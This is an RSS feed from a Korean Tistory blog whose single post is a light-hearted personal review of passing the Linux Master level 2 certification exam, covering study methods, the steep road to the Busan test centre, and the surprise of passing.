<?xml version="1.0" encoding="UTF-8"?>
<rss version="2.0">
  <channel>
    <title>따뜻한 스프 가게</title>
    <link>https://gummybearsong.tistory.com/</link>
    <description></description>
    <language>ko</language>
    <pubDate>Mon, 1 Jun 2026 18:40:57 +0900</pubDate>
    <generator>TISTORY</generator>
    <ttl>100</ttl>
    <managingEditor>곰젤리마스터</managingEditor>
    <image>
      <title>따뜻한 스프 가게</title>
      <url>https://tistory1.daumcdn.net/tistory/6919308/attach/813764822e514ea5bf264ecb822aaa27</url>
      <link>https://gummybearsong.tistory.com</link>
    </image>
    <item>
      <title>리눅스 마스터 2급 합격 후기</title>
      <link>https://gummybearsong.tistory.com/19</link>
      <description>&lt;p data-ke-size=&quot;size16&quot;&gt;안녕하세요 여러분?&lt;br&gt;오늘은 리눅스마스터 2급 후기를 적어보려구합니다...&lt;br&gt;&amp;nbsp;&lt;br&gt;일단 리눅스 마스터시험이란 뭔지 간략히 알려드릴게요&lt;br&gt;&amp;nbsp;&lt;/p&gt;&lt;ul style=&quot;list-style-type: disc;&quot; data-ke-list-type=&quot;disc&quot;&gt;&lt;li&gt;리눅스로 운영되는 전세계 80%이상의 스마트폰, 70%이상의 클라우드 서버, 세계 상위의 500대 슈퍼컴퓨터를 비롯해서 5세대 이동통신(5G), 사물인터넷(IoT), 드론, 자율주행차 등 미래성장동력 분야에서 다양한 응용기반기술에 토대가 되는 자격종목&lt;/li&gt;&lt;li&gt;리눅스 기반 시스템의 관리능력을 평가하는 1급 자격과 리눅스 운영시스템의 프로그램 사용능력을 평가하는 2급 자격으로 구분&lt;/li&gt;&lt;li&gt;리눅스마스터 1, 2급은 NCS(국가직무능력표준) 등을 바탕으로 SW기술자의 체계적 역량 가이드라인 ITSQF(IT분야역량체계)의 IT시스템관리자(L5, L3)로 인정&lt;/li&gt;&lt;/ul&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;한 마디로 ... 우리가 알고 있는 네트워크 및 서버 .. 그리구 전반적인 운영체제의 대부분이 리눅스라는 체제 아래에서 운영되고 있는데요?!&amp;nbsp; 그냥 현대 IT 인프라의 핵심이라고 보심 됩니다 !!&lt;br&gt;&amp;nbsp;&lt;br&gt;이런 운영체제에 대한 이해도를 평가하는 게 리눅스 마스터 시험인데요,&lt;br&gt;&amp;nbsp;&lt;br&gt;1급이 있고 2급이 있는데 저는 2급을 일단 먼저 취득했답니다?&lt;br&gt;1급이 난이도가 높구요 실기까지 있습니다 !&lt;br&gt;하지만 2급은 온라인시험 + 필기시험의 구성이라 처음 자격증을 취득하시는 초심자들에게 딱인 시험이라고 할&amp;nbsp; 수 있어요&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;a href=&quot;https://www.ihd.or.kr/introducesubject1.do&quot; target=&quot;_blank&quot;&gt;&lt;span&gt;https://www.ihd.or.kr/introducesubject1.do&lt;/span&gt;&lt;/a&gt;&lt;/p&gt;&lt;figure data-ke-type=&quot;opengraph&quot; data-og-title=&quot;KAIT 자격검정&quot; data-ke-align=&quot;alignCenter&quot; data-og-description=&quot;인사 고과 반영 ㈜KT, 네트웍오앤에스㈜, 신한데이터시스템, 에스큐브아이, 에프아이에스시스템㈜, 위니텍, ㈜애드캡슐소프트, ㈜엘에스씨시스템즈, ㈜파인원커뮤니케이션즈 졸업 인증 숙명여&quot; data-og-host=&quot;www.ihd.or.kr&quot; data-og-source-url=&quot;https://www.ihd.or.kr/introducesubject1.do&quot; data-og-url=&quot;https://www.ihd.or.kr/introducesubject1.do&quot;&gt;&lt;a href=&quot;https://www.ihd.or.kr/introducesubject1.do&quot; target=&quot;_blank&quot; data-source-url=&quot;https://www.ihd.or.kr/introducesubject1.do&quot;&gt;&lt;div class=&quot;og-image&quot;&gt;&lt;/div&gt;&lt;div class=&quot;og-text&quot;&gt;&lt;p class=&quot;og-title&quot;&gt;KAIT 자격검정&lt;/p&gt;&lt;p class=&quot;og-desc&quot;&gt;인사 고과 반영 ㈜KT, 네트웍오앤에스㈜, 신한데이터시스템, 에스큐브아이, 에프아이에스시스템㈜, 위니텍, ㈜애드캡슐소프트, ㈜엘에스씨시스템즈, ㈜파인원커뮤니케이션즈 졸업 인증 숙명여&lt;/p&gt;&lt;p class=&quot;og-host&quot;&gt;www.ihd.or.kr&lt;/p&gt;&lt;/div&gt;&lt;/a&gt;&lt;/figure&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;806&quot; data-origin-height=&quot;440&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLWHdN/dJMcabKT7MD/YmHdPcTtONcLTQ28RmElN1/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLWHdN/dJMcabKT7MD/YmHdPcTtONcLTQ28RmElN1/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLWHdN/dJMcabKT7MD/YmHdPcTtONcLTQ28RmElN1/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLWHdN%2FdJMcabKT7MD%2FYmHdPcTtONcLTQ28RmElN1%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;806&quot; height=&quot;440&quot; data-origin-width=&quot;806&quot; data-origin-height=&quot;440&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;보시다시피 이렇게 있습니다.&lt;br&gt;참고해주시면 좋을 것 같아요 ~&lt;br&gt;&amp;nbsp;&lt;br&gt;이외에도 kait자격검정 홈페이지에 다양한 시험들이 있으니 이점도 참고하세요 ~&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;아무튼 저는 1차 시험을 가볍게 치뤘답니다. . . ㅎㅎ&lt;br&gt;왜냐? 온라인이기때문에 부담이라는 것은 하나도 없었습니다 . . .&lt;br&gt;&amp;nbsp;&lt;br&gt;다양한 사람들의 후기를 보니&amp;nbsp;&lt;br&gt;먼저 1차시험을 빠르게 치고&lt;br&gt;이후, 좀 더 깊이 공부하며 2차 시험을 준비하는 것을 추천하시더라구요?!&lt;br&gt;&amp;nbsp;&lt;/p&gt;&lt;blockquote data-ke-style=&quot;style2&quot;&gt;1차 후기&lt;/blockquote&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;아무래도 시험 난이도도 낮구요 변별력이 있는 시험은 아닌 듯 합니다 !&lt;br&gt;온라인 시험이니까요&lt;br&gt;&amp;nbsp;&lt;br&gt;&lt;br&gt;엇 근데 제가 친 이후 시험부터는 좀 더 규정이 빡세졌다고하네요… &lt;br&gt;카메라로 주변인증+시험관과 채팅?까지…&lt;br&gt;&amp;nbsp;&lt;/p&gt;&lt;blockquote data-ke-style=&quot;style2&quot;&gt;2차 후기&lt;/blockquote&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;1차를 너무 대충 쳤던 저는 2차 시험을 정말이지 물로 봤답니다?&lt;br&gt;&amp;nbsp;&lt;br&gt;ㅎㅎ&lt;br&gt;&amp;nbsp;&lt;br&gt;이때부터 찾아온 정병이라는 작은 요정&lt;/p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;732&quot; data-origin-height=&quot;847&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bLWOIO/dJMcadaL9zK/Kl1WYh3gPfMncpWnFGi0C1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bLWOIO/dJMcadaL9zK/Kl1WYh3gPfMncpWnFGi0C1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bLWOIO/dJMcadaL9zK/Kl1WYh3gPfMncpWnFGi0C1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbLWOIO%2FdJMcadaL9zK%2FKl1WYh3gPfMncpWnFGi0C1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;455&quot; height=&quot;526&quot; data-origin-width=&quot;732&quot; data-origin-height=&quot;847&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;(심지어 제가 머리가 좀 나쁩니다 평균이하로)&lt;br&gt;암기라는 것에 정말 약한 저는&lt;br&gt;..&lt;br&gt;&amp;nbsp;&lt;br&gt;긴 시간동안 매일 쪼금쪼금씩 .. . 공부하기시작합니다&lt;br&gt;➡️ 그 결과 시험 전날까지 시험범위 다 공부 못 함&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;/p&gt;&lt;blockquote data-ke-style=&quot;style1&quot;&gt;그러게 누가 그렇게 조금씩 공부하래&lt;br&gt;&lt;br&gt;&lt;/blockquote&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;문제를 많이 풀어보고싶었던 저는 &lt;span style=&quot;color: #333333;&quot;&gt;2013년도 부터 2023년도 족보를 전부 뽑았습니다&lt;/span&gt;&lt;br&gt;개념을 하나씩 공부할 때마다 공부했던 개념의 문제만 골라서 다는 아니고 한 5년정도의 분량을 풀었던 것 같아요&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;/p&gt;&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: Noto Serif KR;&quot;&gt;나무야 미안해&lt;/span&gt;&lt;/blockquote&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;아, 참 개념서는&amp;nbsp;&lt;br&gt;이기적 2025 리눅스마스터를 참고하였답니다 !&lt;br&gt;왜 2026이 아니라 2025냐고요? 작년에 따려다가 미뤄서요 ㅋㅋ...&lt;br&gt;&amp;nbsp;&lt;br&gt;하하 !&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;아무튼 저는 개인적으로 암기가 너무 어려워서 리눅스 운영 및 관리 요 과목중에&lt;br&gt;에디터? 이 부분 있거든요? ,,,, 진짜 한숨나옴&lt;br&gt;전부 암기여서 ..&lt;br&gt;&amp;nbsp;&lt;br&gt;이해하면서 응용하며푸는게 편하신 분들은 아마&amp;nbsp;&lt;br&gt;프로세스 및 권한 &amp;lt;&amp;lt; 이쪽파트가 좀 공부하실 때 문제 풀 맛이 좀 나실 거예요...&lt;br&gt;그리고 전공자분들은 네트워크 파트 쉽게 푸실듯 ! 그럼에도 이해보다는 암기를 요구하는 시험이라&lt;br&gt;자격증 시험이 처음이었던 저는 머리가 좀 복잡했답니다 .. ㅠㅠ&lt;br&gt;&amp;nbsp;&lt;/p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;953&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/Ro2Zo/dJMcahK5LaC/h75HhkgoH3YrZAPsiQHWPK/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/Ro2Zo/dJMcahK5LaC/h75HhkgoH3YrZAPsiQHWPK/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/Ro2Zo/dJMcahK5LaC/h75HhkgoH3YrZAPsiQHWPK/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FRo2Zo%2FdJMcahK5LaC%2Fh75HhkgoH3YrZAPsiQHWPK%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;736&quot; height=&quot;953&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;953&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;외울 내용이 너무 많구 . . .&lt;br&gt;게다가 문제를 풀다 보면 책에도 안 나오는 내용들이 더러 있어서&lt;br&gt;저는 개인적으로 A4용지에다 판서를 수기로 작성하면서 공부를 했었어여...&amp;nbsp;&lt;br&gt;ㅠㅠ&lt;br&gt;#내머리가너무나나빠서&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;후회하는 점이 있다면?&lt;br&gt;너무 개념에 초점을 맞추고 문제를 좀 덜 풀어서 그 점이 좀 비효율적이지 않았던가 싶긴 하네요.&lt;br&gt;여러분들은 문제를 많이 풀어보시길&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;/p&gt;&lt;blockquote data-ke-style=&quot;style2&quot;&gt;시험장 후기&lt;/blockquote&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;먼저 시험을 쳤던 친구가 후기로&lt;br&gt;부산 시험장은 절대 가지마라고 하더라구요?&lt;br&gt;사유는 너무 오르막길이라고 가다가 쓰러진다는 후기가...&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;저는 아 그래? 라고 대꾸하긴 했으나&amp;nbsp;&lt;br&gt;콧방귀를 뀌면서&amp;nbsp;&lt;br&gt;흥 뭐 . 오르막길이어봤자 얼마나 . ㅋ..&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;/p&gt;&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: Noto Serif KR;&quot;&gt;그 선택을 하지 말았어야 했습니다&lt;/span&gt;&lt;/blockquote&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;/p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;720&quot; data-origin-height=&quot;996&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/vFhzi/dJMcah5oNoc/dFjJJmJ5REJTCMTO5nZpM1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/vFhzi/dJMcah5oNoc/dFjJJmJ5REJTCMTO5nZpM1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/vFhzi/dJMcah5oNoc/dFjJJmJ5REJTCMTO5nZpM1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FvFhzi%2FdJMcah5oNoc%2FdFjJJmJ5REJTCMTO5nZpM1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;556&quot; height=&quot;769&quot; data-origin-width=&quot;720&quot; data-origin-height=&quot;996&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;부산시험장은&lt;br&gt;&amp;nbsp;&lt;br&gt;진짜&lt;br&gt;&amp;nbsp;&lt;br&gt;저를 죽음의 직전까지 내몰았습니다&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;경사가 미친 무슨 스키장인줄알았음&lt;br&gt;나 진짜 여기가 하이원 상급코스인지 시험장가는길인지 헷갈릴수준이었음&lt;br&gt;그래서 올라가면서&lt;/p&gt;&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: Noto Serif KR;&quot;&gt;절대 재시험은 안된다 무슨 일이 있어도&lt;/span&gt;&lt;/blockquote&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;라고 생각했답니다.&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;다들 끝인줄 알고 기웃거리면&amp;nbsp;&lt;br&gt;저 멀리로 보이는 작은 오르막길이 끊이질 않았습니다.&lt;br&gt;&amp;nbsp;&lt;br&gt;나는 진짜 이곳이 지옥인줄알았음&lt;br&gt;약간 아 ... 공부를 덜 해서 벌받구나 이생각함&lt;br&gt;&amp;nbsp;&lt;br&gt;시험장들어가니까 다들 후욱후욱거리면서 가방 벗어던짐&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;일단 1차적으로 오르막길이 심하니까 사람들이 딱 핫도그 놓친 떵개표정짓고있음&lt;br&gt;저도 마찬가지였구요&lt;/p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;340&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bI9x0Q/dJMcacC1vDn/1AaERrYoIvWnqNbVXU6qvk/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bI9x0Q/dJMcacC1vDn/1AaERrYoIvWnqNbVXU6qvk/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bI9x0Q/dJMcacC1vDn/1AaERrYoIvWnqNbVXU6qvk/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbI9x0Q%2FdJMcacC1vDn%2F1AaERrYoIvWnqNbVXU6qvk%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;604&quot; height=&quot;340&quot; data-origin-width=&quot;604&quot; data-origin-height=&quot;340&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;문제는 뭐냐면&lt;br&gt;시험 치고 진짜 절망적이었단거임...&lt;br&gt;&amp;nbsp;&lt;br&gt;확신해서 푼 문제가 그닥 많지 않았기 때문임&lt;br&gt;&amp;nbsp;&lt;/p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;754&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/QlM0k/dJMcah5oNPy/GUS6iy9gJJNgv1RHM4xiz0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/QlM0k/dJMcah5oNPy/GUS6iy9gJJNgv1RHM4xiz0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/QlM0k/dJMcah5oNPy/GUS6iy9gJJNgv1RHM4xiz0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FQlM0k%2FdJMcah5oNPy%2FGUS6iy9gJJNgv1RHM4xiz0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;736&quot; height=&quot;754&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;754&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;이제 그때부터는&lt;/p&gt;&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: Noto Serif KR;&quot;&gt;아 ~ 다음엔 대구시험장 가야지~&lt;/span&gt;&lt;/blockquote&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;이런마음가짐을 가지고 가볍게 내려갔답니다?&lt;br&gt;&amp;nbsp;&lt;br&gt;역시나 리버스 오르막길을 타구요&lt;br&gt;이젠 내리막길이 된 레전드 오르막길을 내려갔는데&lt;br&gt;&amp;nbsp;&lt;br&gt;진짜 경사가너무심해서&lt;br&gt;사람들 다 옆으로 걸어감&lt;br&gt;제발 ...&lt;br&gt;왜 시험장을 이런 곳으로 했냐고요&lt;br&gt;&amp;nbsp;&lt;br&gt;그래서 저는 당연히 불합예상하고 집으로 옴&lt;br&gt;&amp;nbsp;&lt;br&gt;가채점 날에 답안이 나와서 가채점해봄&lt;br&gt;-&amp;gt; 가채점결과 5점인가 6점차이로 불합격 !!&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;이때 이후로 그냥&amp;nbsp;&lt;/p&gt;&lt;figure class=&quot;imagegridblock&quot;&gt;
  &lt;div class=&quot;image-container&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bb69Sh/dJMcajvk5Hm/vtHmrb9H9sUymfM7tFRfl1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bb69Sh/dJMcajvk5Hm/vtHmrb9H9sUymfM7tFRfl1/img.jpg&quot; data-origin-width=&quot;736&quot; data-origin-height=&quot;419&quot; style=&quot;width: 48.6126%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bb69Sh/dJMcajvk5Hm/vtHmrb9H9sUymfM7tFRfl1/img.jpg&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2Fbb69Sh%2FdJMcajvk5Hm%2FvtHmrb9H9sUymfM7tFRfl1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;736&quot; height=&quot;419&quot;/&gt;&lt;/span&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/DvNQi/dJMcaa6gUm4/QEp10RsjSoI8XKJtzk8T61/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/DvNQi/dJMcaa6gUm4/QEp10RsjSoI8XKJtzk8T61/img.jpg&quot; data-origin-width=&quot;735&quot; data-origin-height=&quot;405&quot; style=&quot;width: 50.2247%;&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/DvNQi/dJMcaa6gUm4/QEp10RsjSoI8XKJtzk8T61/img.jpg&quot; alt=&quot;&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FDvNQi%2FdJMcaa6gUm4%2FQEp10RsjSoI8XKJtzk8T61%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;735&quot; height=&quot;405&quot;/&gt;&lt;/span&gt;&lt;/div&gt;
&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;저는 분필떵개가 됐어요&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;그러고나서? 최근에 다시 시험 응시자들을 모집하길래&lt;br&gt;&amp;nbsp;&lt;br&gt;이번에는 꼭 대구시험장 가야지 ~ 다짐하며 오늘 홈페이지에 들어갔는데요?&lt;br&gt;&amp;nbsp;&lt;/p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;1006&quot; data-origin-height=&quot;346&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bJkHP9/dJMcadaMcLL/79OuOkV7lrMWpYVd7EZusk/img.png&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bJkHP9/dJMcadaMcLL/79OuOkV7lrMWpYVd7EZusk/img.png&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bJkHP9/dJMcadaMcLL/79OuOkV7lrMWpYVd7EZusk/img.png&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbJkHP9%2FdJMcadaMcLL%2F79OuOkV7lrMWpYVd7EZusk%2Fimg.png&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;1006&quot; height=&quot;346&quot; data-origin-width=&quot;1006&quot; data-origin-height=&quot;346&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;blockquote data-ke-style=&quot;style1&quot;&gt;&lt;span style=&quot;font-family: Noto Serif KR;&quot;&gt;왜 합격이지&lt;/span&gt;&lt;/blockquote&gt;&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;눈을 의심했답니다&lt;br&gt;&amp;nbsp;&lt;br&gt;...&lt;br&gt;&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;/p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;735&quot; data-origin-height=&quot;418&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/bFgmSz/dJMcahj207m/mwiOy5OMe4U1ABkzbm82L1/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/bFgmSz/dJMcahj207m/mwiOy5OMe4U1ABkzbm82L1/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/bFgmSz/dJMcahj207m/mwiOy5OMe4U1ABkzbm82L1/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FbFgmSz%2FdJMcahj207m%2FmwiOy5OMe4U1ABkzbm82L1%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; loading=&quot;lazy&quot; width=&quot;735&quot; height=&quot;418&quot; data-origin-width=&quot;735&quot; data-origin-height=&quot;418&quot;/&gt;&lt;/span&gt;&lt;/figure&gt;
&lt;p data-ke-size=&quot;size16&quot;&gt;&amp;nbsp;&lt;br&gt;아무래도 턱걸이로 붙은 게 아닐까 조심스레 예상해보면서..&lt;br&gt;&amp;nbsp;&lt;br&gt;정말 감사합니다 저 같은 아이를 붙여주시다니요.&lt;br&gt;&amp;nbsp;&lt;br&gt;다음부턴 진짜 제대로할게요 야르 그래도 합격이다 !!!&lt;br&gt;다음엔 SQL자격증을 따볼까요?&lt;br&gt;흠 화이팅. 힘내자.&amp;nbsp;&lt;br&gt;&amp;nbsp;&lt;br&gt;모두들 합격하시길 기원합니다 ~!!&lt;br&gt;&amp;nbsp;&lt;/p&gt;&lt;figure class=&quot;imageblock alignCenter&quot; data-ke-mobileStyle=&quot;widthOrigin&quot; data-origin-width=&quot;735&quot; data-origin-height=&quot;730&quot;&gt;&lt;span data-url=&quot;https://blog.kakaocdn.net/dn/LFhJw/dJMcaiiT7A3/xRtLWCUAVDJheQur7skVI0/img.jpg&quot; data-phocus=&quot;https://blog.kakaocdn.net/dn/LFhJw/dJMcaiiT7A3/xRtLWCUAVDJheQur7skVI0/img.jpg&quot;&gt;&lt;img src=&quot;https://blog.kakaocdn.net/dn/LFhJw/dJMcaiiT7A3/xRtLWCUAVDJheQur7skVI0/img.jpg&quot; srcset=&quot;https://img1.daumcdn.net/thumb/R1280x0/?scode=mtistory2&amp;fname=https%3A%2F%2Fblog.kakaocdn.net%2Fdn%2FLFhJw%2FdJMcaiiT7A3%2FxRtLWCUAVDJheQur7skVI0%2Fimg.jpg&quot; onerror=&quot;this.onerror=null; this.src='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png'; this.srcset='//t1.daumcdn.net/tistory_admin/static/images/no-image-v1.png';&quot; 